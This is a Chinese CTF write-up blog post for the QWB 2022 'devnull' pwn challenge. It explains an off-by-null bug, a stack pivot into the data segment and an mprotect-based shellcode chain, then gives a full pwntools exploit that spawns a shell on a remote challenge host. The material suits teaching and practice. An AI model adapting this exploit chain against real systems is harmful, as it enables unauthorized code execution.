【栈迁移】强网杯2022 -- devnull

前言

题目不算难,多调一调就ok啦。但感觉我这个pay不是最优的,比较极限。

漏洞分析与利用

保护:没开 Canary 和 PIE

关键函数如下:

1)buf 的大小是32字节,而 fgets 了33字节,但是 fgets 本身最多读取32字节,最后会填上一个\x00,所以这里是一个 off by null 溢出,其刚好可以把 fd 修改为 0

2)通过1)可以把 fd 修改为0,所以这时 read(fd, &v2, nums_0x2c) 又会存在溢出,因为 v2 仅仅是一个 int 类型。但是这里刚好溢出到返回地址,所以考虑栈迁移。同时这里可以修改 ptr 指针的值

3)通过2)修改 ptr 的值,这里就可以实现任意地址写 0x60 字节。所以这里可以为栈迁移做好准备。但是在 mp 函数中会将 bss 段设置为只可读,所以这里无法栈迁移到 bss 上。但是程序没有开启 PIE 所以可以直接栈迁移到程序数据段,因为数据段是可读可写的。

栈迁移后考虑如何 get_shell,这里是无法泄漏相关 libc 地址的(主要是没有足够的 gadget 去控制 rdi/rsi/rdx 等寄存器,csu 好像也没看到),但是题目本身执行了 mprotect 函数,所以可以利用其来将一段地址设置为可执行。

然后 mprotect 这里的 rsi 可被控制为 0x1000,rdi 被设置为 rax,所以我们得想办法控制 rax = target_addr 和 rdx = 7,我们可以找到如下 gadget 控制 rax,但是题目找不到直接或间接控制 rdx 的 gadget。

0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret

但是,但是我们调试发现当栈迁移后,rdx 就是7,然后回到程序中可以发现在退出前执行了如下操作:

可以看到,rdx = strlen(str),而 "Thanks\n" 刚好7字节,所以最后 rdx 就是7

程序返回前把标准输出关了,但是每关标准错误输出,所以重定向一下就好了

然后就是去构造 rop 了,这里就是根据读者的喜好了,exp 如下:

这里运气比较好,两段 shellcode 都是 0x10 大小,刚刚合适并且刚刚好填满 0x60 字节

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

#io = process("./pwn")
io = remote("node4.anna.nssctf.cn", 28077)
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''

#gdb.attach(io, 'b *0x0000000000401436')

leave_ret = 0x0000000000401354 # leave ; ret
call_mprotect = 0x00000000004012D0
mov_eax = 0x0000000000401351 # mov eax, dword ptr [rbp - 0x18] ; leave ; ret
pop_rbp = 0x000000000040129d # pop rbp ; ret
jmp_rax = 0x000000000040122c # jmp rax
start = 0x3fc000 + 0x1000

sda(b'filename\n', b'A'*32)
pay = b'B'*(0x1c-8) + p64(start-8) + p64(start-8) + p64(leave_ret)
sda(b'discard\n', pay)

shellcode0 = asm("""
        xor edx, edx
        xor esi, esi
        mov eax, 0x3b
        mov ebx, 0x3fd048
        jmp rbx
""")

shellcode1 = asm("""
        mov rdi, 0x68732f6e69622f
        push rdi
        mov rdi, rsp
        syscall
""")
print(hex(len(shellcode0)))
print(hex(len(shellcode1)))

pay  = p64(start+0x18+0x8) + p64(mov_eax) + p64(start) + shellcode0 + p64(start+0x10) + p64(call_mprotect)
pay += p64(start+0x18+0x18+0x8) + p64(mov_eax) + p64(jmp_rax) + shellcode1
print(hex(len(pay)))
sda(b'data\n', pay)

#debug()
sh()

效果如下:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值